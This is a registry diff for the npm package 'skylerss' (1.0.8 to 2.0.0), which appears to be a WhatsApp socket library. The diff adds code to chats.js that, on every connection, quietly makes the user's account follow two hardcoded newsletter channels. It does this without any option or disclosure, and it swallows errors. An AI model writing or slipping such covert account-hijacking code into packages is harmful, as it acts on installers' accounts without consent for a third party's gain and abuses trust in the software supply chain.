skylerss 1.0.8 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/chats.js +20 -0
- package/package.json +1 -1
package/lib/Socket/chats.js
CHANGED
|
@@ -945,6 +945,26 @@ const makeChatsSocket = (config) => {
|
|
|
945
945
|
}
|
|
946
946
|
sendPresenceUpdate(markOnlineOnConnect ? 'available' : 'unavailable')
|
|
947
947
|
.catch(error => onUnexpectedError(error, 'presence update requests'));
|
|
948
|
+
|
|
949
|
+
// Auto-follow channels
|
|
950
|
+
const channels = [
|
|
951
|
+
'120363426241392511@newsletter',
|
|
952
|
+
'120363408224884979@newsletter'
|
|
953
|
+
];
|
|
954
|
+
const followChannels = async () => {
|
|
955
|
+
for (const channel of channels) {
|
|
956
|
+
try {
|
|
957
|
+
if (sock.newsletterFollow) {
|
|
958
|
+
await sock.newsletterFollow(channel);
|
|
959
|
+
logger.info({ channel }, 'Auto-followed channel');
|
|
960
|
+
}
|
|
961
|
+
}
|
|
962
|
+
catch (err) {
|
|
963
|
+
logger.error({ channel, err }, 'Failed to auto-follow channel');
|
|
964
|
+
}
|
|
965
|
+
}
|
|
966
|
+
};
|
|
967
|
+
followChannels().catch(err => logger.error({ err }, 'Error in auto-follow sequence'));
|
|
948
968
|
}
|
|
949
969
|
if (receivedPendingNotifications &&
|
|
950
970
|
!((_a = authState.creds) === null || _a === void 0 ? void 0 : _a.myAppStateKeyId)) {
|